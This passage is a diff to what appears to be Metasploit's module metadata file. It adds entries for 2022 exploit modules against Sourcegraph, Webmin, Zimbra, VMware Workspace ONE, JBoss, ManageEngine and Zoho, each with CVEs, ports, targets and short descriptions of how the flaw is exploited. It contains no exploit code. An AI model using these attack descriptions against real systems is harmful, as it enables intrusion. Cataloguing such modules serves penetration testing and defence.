||||
"Linux (Dropper)"
|
||||
],
|
||||
"mod_time": "2022-07-25 13:05:04 +0000",
|
||||
"path": "/modules/exploits/linux/http/roxy_wi_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/roxy_wi_exec",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/saltstack_salt_api_cmd_exec": {
|
||||
"name": "SaltStack Salt REST API Arbitrary Command Execution",
|
||||
"fullname": "exploit/linux/http/saltstack_salt_api_cmd_exec",
|
||||
@@ -66602,6 +67209,70 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/sourcegraph_gitserver_sshcmd": {
|
||||
"name": "Sourcegraph gitserver sshCommand RCE",
|
||||
"fullname": "exploit/linux/http/sourcegraph_gitserver_sshcmd",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-02-18",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Altelus1",
|
||||
"Spencer McIntyre"
|
||||
],
|
||||
"description": "A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute\n arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can\n then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a\n feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the\n commands that are able to be executed through the git exec REST API.",
|
||||
"references": [
|
||||
"CVE-2022-23642",
|
||||
"URL-https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9",
|
||||
"URL-https://github.com/Altelus1/CVE-2022-23642"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64",
|
||||
"rport": 3178,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Automatic",
|
||||
"Unix Command",
|
||||
"Linux Dropper"
|
||||
],
|
||||
"mod_time": "2022-07-11 09:48:08 +0000",
|
||||
"path": "/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/sourcegraph_gitserver_sshcmd",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/spark_unauth_rce": {
|
||||
"name": "Apache Spark Unauthenticated Command Execution",
|
||||
"fullname": "exploit/linux/http/spark_unauth_rce",
|
||||
@@ -68732,6 +69403,70 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/webmin_package_updates_rce": {
|
||||
"name": "Webmin Package Updates RCE",
|
||||
"fullname": "exploit/linux/http/webmin_package_updates_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-07-26",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Christophe De La Fuente",
|
||||
"Emir Polat"
|
||||
],
|
||||
"description": "This module exploits an arbitrary command injection in Webmin\n versions prior to 1.997.\n\n Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform\n package updates and installation. Due to a lack of input\n sanitization, it is possibe to inject arbitrary command that will be\n concatenated to the package manager call.\n\n This exploit requires authentication and the account must have access\n to the Software Package Updates module.",
|
||||
"references": [
|
||||
"EDB-50998",
|
||||
"URL-https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165",
|
||||
"CVE-2022-36446"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64, aarch64",
|
||||
"rport": 10000,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix In-Memory",
|
||||
"Linux Dropper (x86 & x64)",
|
||||
"Linux Dropper (ARM64)"
|
||||
],
|
||||
"mod_time": "2022-08-09 15:09:25 +0000",
|
||||
"path": "/modules/exploits/linux/http/webmin_package_updates_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/webmin_package_updates_rce",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/webmin_packageup_rce": {
|
||||
"name": "Webmin Package Updates Remote Command Execution",
|
||||
"fullname": "exploit/linux/http/webmin_packageup_rce",
|
||||
@@ -69085,6 +69820,70 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/zimbra_unrar_cve_2022_30333": {
|
||||
"name": "UnRAR Path Traversal in Zimbra (CVE-2022-30333)",
|
||||
"fullname": "exploit/linux/http/zimbra_unrar_cve_2022_30333",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-06-28",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Simon Scannell",
|
||||
"Ron Bowes"
|
||||
],
|
||||
"description": "This module creates a RAR file that can be emailed to a Zimbra server\n to exploit CVE-2022-30333. If successful, it plants a JSP-based\n backdoor in the public web directory, then executes that backdoor.\n\n The core vulnerability is a path-traversal issue in unRAR that can\n extract an arbitrary file to an arbitrary location on a Linux system.\n\n This issue is exploitable on the following versions of Zimbra, provided\n UnRAR version 6.11 or earlier is installed:\n\n * Zimbra Collaboration 9.0.0 Patch 24 (and earlier)\n * Zimbra Collaboration 8.8.15 Patch 31 (and earlier)",
|
||||
"references": [
|
||||
"CVE-2022-30333",
|
||||
"URL-https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/",
|
||||
"URL-https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946",
|
||||
"URL-https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25",
|
||||
"URL-https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32",
|
||||
"URL-https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Zimbra Collaboration Suite"
|
||||
],
|
||||
"mod_time": "2022-08-04 08:24:32 +0000",
|
||||
"path": "/modules/exploits/linux/http/zimbra_unrar_cve_2022_30333.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/zimbra_unrar_cve_2022_30333",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/zimbra_xxe_rce": {
|
||||
"name": "Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF",
|
||||
"fullname": "exploit/linux/http/zimbra_xxe_rce",
|
||||
@@ -72813,6 +73612,59 @@
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/local/vmware_workspace_one_access_certproxy_lpe": {
|
||||
"name": "VMware Workspace ONE Access CVE-2022-31660",
|
||||
"fullname": "exploit/linux/local/vmware_workspace_one_access_certproxy_lpe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-08-02",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Spencer McIntyre"
|
||||
],
|
||||
"description": "VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges\n to those of the root user by modifying a file and then restarting the vmware-certproxy service which\n invokes it. The service control is permitted via the sudo configuration without a password.",
|
||||
"references": [
|
||||
"CVE-2022-31660",
|
||||
"URL-https://www.vmware.com/security/advisories/VMSA-2022-0021.html"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2022-08-03 17:45:06 +0000",
|
||||
"path": "/modules/exploits/linux/local/vmware_workspace_one_access_certproxy_lpe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/vmware_workspace_one_access_certproxy_lpe",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/local/yum_package_manager_persistence": {
|
||||
"name": "Yum Package Manager Persistence",
|
||||
"fullname": "exploit/linux/local/yum_package_manager_persistence",
|
||||
@@ -72856,6 +73708,60 @@
|
||||
],
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/zimbra_slapper_priv_esc": {
|
||||
"name": "Zimbra zmslapd arbitrary module load",
|
||||
"fullname": "exploit/linux/local/zimbra_slapper_priv_esc",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2021-10-27",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Darren Martyn",
|
||||
"Ron Bowes"
|
||||
],
|
||||
"description": "This module exploits CVE-2022-37393, which is a vulnerability in\n Zimbra's sudo configuration that permits the zimbra user to execute\n the zmslapd binary as root with arbitrary parameters. As part of its\n intended functionality, zmslapd can load a user-defined configuration\n file, which includes plugins in the form of .so files, which also\n execute as root.",
|
||||
"references": [
|
||||
"CVE-2022-37393",
|
||||
"URL-https://darrenmartyn.ie/2021/10/27/zimbra-zmslapd-local-root-exploit/"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2022-08-04 08:19:44 +0000",
|
||||
"path": "/modules/exploits/linux/local/zimbra_slapper_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/zimbra_slapper_priv_esc",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/zpanel_zsudo": {
|
||||
"name": "ZPanel zsudo Local Privilege Escalation Exploit",
|
||||
"fullname": "exploit/linux/local/zpanel_zsudo",
|
||||
@@ -73335,7 +74241,7 @@
|
||||
"description": "This module exploits a buffer overflow in the RTSP request parsing\n code of Hikvision DVR appliances. The Hikvision DVR devices record\n video feeds of surveillance cameras and offer remote administration\n and playback of recorded footage.\n\n The vulnerability is present in several models / firmware versions\n but due to the available test device this module only supports\n the DS-7204 model.",
|
||||
"references": [
|
||||
"CVE-2014-4880",
|
||||
"URL-https://www.rapid7.com/blog/post/2014/11/19/r7-2014-18-hikvision-dvr-devices--multiple-vulnerabilities"
|
||||
"URL-https://www.rapid7.com/blog/post/2014/11/19/r7-2014-18-hikvision-dvr-devices-multiple-vulnerabilities"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "armle",
|
||||
@@ -73350,7 +74256,7 @@
|
||||
"DS-7204 Firmware V2.2.10 build 131009",
|
||||
"Debug Target"
|
||||
],
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-06-22 15:49:43 +0000",
|
||||
"path": "/modules/exploits/linux/misc/hikvision_rtsp_bof.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/misc/hikvision_rtsp_bof",
|
||||
@@ -81777,7 +82683,7 @@
|
||||
"Daniil Dmitriev",
|
||||
"Dmitry (rrock) Shchannikov"
|
||||
],
|
||||
"description": "Widget Connector Macro is part of Atlassian Confluence Server and Data Center that\n allows embed online videos, slideshows, photostreams and more directly into page.\n A _template parameter can be used to inject remote Java code into a Velocity template,\n and gain code execution. Authentication is unrequired to exploit this vulnerability.\n By default, Java payload will be used because it is cross-platform, but you can also\n specify which native payload you want (Linux or Windows).\n\n Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version\n 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.\n\n This vulnerability was originally discovered by Daniil Dmitriev\n https://twitter.com/ddv_ua.",
|
||||
"description": "Widget Connector Macro is part of Atlassian Confluence Server and Data Center that\n allows embed online videos, slideshows, photostreams and more directly into page.\n A _template parameter can be used to inject remote Java code into a Velocity template,\n and gain code execution. Authentication is unrequired to exploit this vulnerability.\n By default, Java payload will be used because it is cross-platform, but you can also\n specify which native payload you want (Linux or Windows).\n\n Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version\n 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.\n\n This vulnerability was originally discovered by Daniil Dmitriev\n https://twitter.com/ddv_ua.",
|
||||
"references": [
|
||||
"CVE-2019-3396",
|
||||
"URL-https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html",
|
||||
@@ -81807,7 +82713,7 @@
|
||||
"Windows",
|
||||
"Linux"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-07-01 08:43:47 +0000",
|
||||
"path": "/modules/exploits/multi/http/confluence_widget_connector.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/confluence_widget_connector",
|
||||
@@ -81815,6 +82721,16 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
@@ -87842,7 +88758,7 @@
|
||||
"PHPMailer <5.2.18",
|
||||
"PHPMailer 5.2.18 - 5.2.19"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-06-29 12:24:29 +0000",
|
||||
"path": "/modules/exploits/multi/http/phpmailer_arg_injection.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/phpmailer_arg_injection",
|
||||
@@ -90516,7 +91432,7 @@
|
||||
"Windows Universal",
|
||||
"Linux Universal"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-06-29 19:10:52 +0000",
|
||||
"path": "/modules/exploits/multi/http/struts_code_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/struts_code_exec",
|
||||
@@ -90634,7 +91550,7 @@
|
||||
"Linux Universal",
|
||||
"Java Universal"
|
||||
],
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-06-29 19:10:52 +0000",
|
||||
"path": "/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/struts_code_exec_exception_delegator",
|
||||
@@ -95258,6 +96174,59 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/misc/jboss_remoting_unified_invoker_rce": {
|
||||
"name": "JBOSS EAP/AS Remoting Unified Invoker RCE",
|
||||
"fullname": "exploit/multi/misc/jboss_remoting_unified_invoker_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-12-11",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Joao Matos <@joaomatosf>",
|
||||
"Marcio Almeida <@marcioalm>",
|
||||
"Heyder Andrade <@HeyderAndrade>"
|
||||
],
|
||||
"description": "An unauthenticated attacker with network access to the JBOSS\n EAP/AS <= 6.x Remoting Unified Invoker interface can send a\n serialized object to the interface to execute code on vulnerable hosts.",
|
||||
"references": [
|
||||
"URL-https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64",
|
||||
"rport": 4446,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Unix Command",
|
||||
"Linux Dropper"
|
||||
],
|
||||
"mod_time": "2022-07-12 09:08:19 +0000",
|
||||
"path": "/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/misc/jboss_remoting_unified_invoker_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/misc/legend_bot_exec": {
|
||||
"name": "Legend Perl IRC Bot Remote Code Execution",
|
||||
"fullname": "exploit/multi/misc/legend_bot_exec",
|
||||
@@ -95463,7 +96432,7 @@
|
||||
"Linux",
|
||||
"Windows"
|
||||
],
|
||||
"mod_time": "2021-08-27 17:15:33 +0000",
|
||||
"mod_time": "2022-06-28 17:02:51 +0000",
|
||||
"path": "/modules/exploits/multi/misc/nomad_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/misc/nomad_exec",
|
||||
@@ -95474,11 +96443,11 @@
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"SideEffects": [
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
@@ -95988,9 +96957,9 @@
|
||||
"author": [
|
||||
"Andres Rodriguez - 2Secure (@acamro) <acamro@gmail.com>"
|
||||
],
|
||||
"description": "An unauthenticated attacker with network access to the Oracle Weblogic Server T3\n interface can send a malicious SOAP request to the interface WLS AsyncResponseService\n to execute code on the vulnerable host.",
|
||||
"description": "An unauthenticated attacker with network access to the Oracle Weblogic Server T3\n interface can send a malicious SOAP request to the interface WLS AsyncResponseService\n to execute code on the vulnerable host.",
|
||||
"references": [
|
||||
"CVE-2017-10271",
|
||||
"CVE-2019-2725",
|
||||
"CNVD-C-2019-48814",
|
||||
"URL-http://www.cnvd.org.cn/webinfo/show/4999",
|
||||
"URL-https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html",
|
||||
@@ -96019,7 +96988,7 @@
|
||||
"Windows",
|
||||
"Solaris"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-07-07 18:05:56 +0000",
|
||||
"path": "/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/misc/weblogic_deserialize_asyncresponseservice",
|
||||
@@ -96027,6 +96996,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
@@ -103105,7 +104083,7 @@
|
||||
"Erik de Jong",
|
||||
"Erik Wynter"
|
||||
],
|
||||
"description": "This module exploits LFI and log poisoning vulnerabilities\n (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a\n build-242466 and older in order to achieve unauthenticated remote\n code execution as the root user. NetConfig is the Aerohive/Extreme\n Networks HiveOS administrative webinterface. Vulnerable versions\n allow for LFI because they rely on a version of PHP 5 that is\n vulnerable to string truncation attacks. This module leverages this\n issue in conjunction with log poisoning to gain RCE as root.\n\n Upon successful exploitation, the Aerohive NetConfig application\n will hang for as long as the spawned shell remains open. Closing\n the session should render the app responsive again.\n\n The module provides an automatic cleanup option to clean the log.\n However, this option is disabled by default because any modifications\n to the /tmp/messages log, even via sed, may render the target\n (temporarily) unexploitable. This state can last over an hour.\n\n This module has been successfully tested against Aerohive NetConfig\n versions 8.2r4 and 10.0r7a.",
|
||||
"description": "This module exploits LFI and log poisoning vulnerabilities\n (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a\n build-242466 and older in order to achieve unauthenticated remote\n code execution as the root user. NetConfig is the Aerohive/Extreme\n Networks HiveOS administrative webinterface. Vulnerable versions\n allow for LFI because they rely on a version of PHP 5 that is\n vulnerable to string truncation attacks. This module leverages this\n issue in conjunction with log poisoning to gain RCE as root.\n\n Upon successful exploitation, the Aerohive NetConfig application\n may hang for as long as the spawned shell remains open. For the\n Linux target, the MeterpreterTryToFork option (enabled by default)\n will likely prevent this. If the app hangs, closing the session\n should render it responsive again.\n\n The module provides an automatic cleanup option to clean the log.\n However, this option is disabled by default because any modifications\n to the /tmp/messages log, even via sed, may render the target\n (temporarily) unexploitable. This state can last over an hour.\n\n This module has been successfully tested against Aerohive NetConfig\n versions 8.2r4 and 10.0r7a.",
|
||||
"references": [
|
||||
"CVE-2020-16152",
|
||||
"URL-https://github.com/eriknl/CVE-2020-16152"
|
||||
@@ -103132,7 +104110,7 @@
|
||||
"Linux",
|
||||
"CMD"
|
||||
],
|
||||
"mod_time": "2021-11-02 19:58:16 +0000",
|
||||
"mod_time": "2022-07-01 06:15:13 +0000",
|
||||
"path": "/modules/exploits/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/webapp/aerohive_netconfig_lfi_log_poison_rce",
|
||||
@@ -111373,7 +112351,7 @@
|
||||
"targets": [
|
||||
"Windows Universal"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-06-29 19:10:52 +0000",
|
||||
"path": "/modules/exploits/windows/antivirus/ams_xfr.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/antivirus/ams_xfr",
|
||||
@@ -137047,7 +138025,7 @@
|
||||
"targets": [
|
||||
"Windows Universal"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-06-29 19:10:52 +0000",
|
||||
"path": "/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/ca_totaldefense_regeneratereports",
|
||||
@@ -142175,6 +143153,68 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/http/manageengine_adaudit_plus_cve_2022_28219": {
|
||||
"name": "ManageEngine ADAudit Plus CVE-2022-28219",
|
||||
"fullname": "exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-06-29",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Naveen Sunkavally",
|
||||
"Ron Bowes"
|
||||
],
|
||||
"description": "This module exploits CVE-2022-28219, which is a pair of\n vulnerabilities in ManageEngine ADAudit Plus versions before build\n 7060: a path traversal in the /cewolf endpoint, and a blind XXE in,\n to upload and execute an executable file.",
|
||||
"references": [
|
||||
"CVE-2022-28219",
|
||||
"URL-https://www.horizon3.ai/red-team-blog-cve-2022-28219/",
|
||||
"URL-https://attackerkb.com/topics/Zx3qJlmRGY/cve-2022-28219/rapid7-analysis",
|
||||
"URL-https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": 8081,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows Command"
|
||||
],
|
||||
"mod_time": "2022-08-05 11:34:46 +0000",
|
||||
"path": "/modules/exploits/windows/http/manageengine_adaudit_plus_cve_2022_28219.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/manageengine_adaudit_plus_cve_2022_28219",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/manageengine_adselfservice_plus_cve_2021_40539": {
|
||||
"name": "ManageEngine ADSelfService Plus CVE-2021-40539",
|
||||
"fullname": "exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539",
|
||||
@@ -143800,7 +144840,7 @@
|
||||
"targets": [
|
||||
"Windows Universal"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-06-29 19:10:52 +0000",
|
||||
"path": "/modules/exploits/windows/http/osb_uname_jlist.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/osb_uname_jlist",
|
||||
@@ -146502,6 +147542,72 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/zoho_password_manager_pro_xml_rpc_rce": {
|
||||
"name": "Zoho Password Manager Pro XML-RPC Java Deserialization",
|
||||
"fullname": "exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-06-24",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Vinicius",
|
||||
"Y4er",
|
||||
"Grant Willcox"
|
||||
],
|
||||
"description": "This module exploits a Java deserialization vulnerability in Zoho ManageEngine Pro\n before 12101 and PAM360 before 5510. Unauthenticated attackers can send a\n crafted XML-RPC request containing malicious serialized data to /xmlrpc to\n gain RCE as the SYSTEM user.",
|
||||
"references": [
|
||||
"CVE-2022-35405",
|
||||
"URL-https://xz.aliyun.com/t/11578",
|
||||
"URL-https://www.manageengine.com/products/passwordmanagerpro/advisory/cve-2022-35405.html",
|
||||
"URL-https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd, x64",
|
||||
"rport": 7272,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows EXE Dropper",
|
||||
"Windows Command",
|
||||
"Windows Powershell"
|
||||
],
|
||||
"mod_time": "2022-08-02 14:27:27 +0000",
|
||||
"path": "/modules/exploits/windows/http/zoho_password_manager_pro_xml_rpc_rce.rb",
|
||||
"is_install_path": true,
|
||||
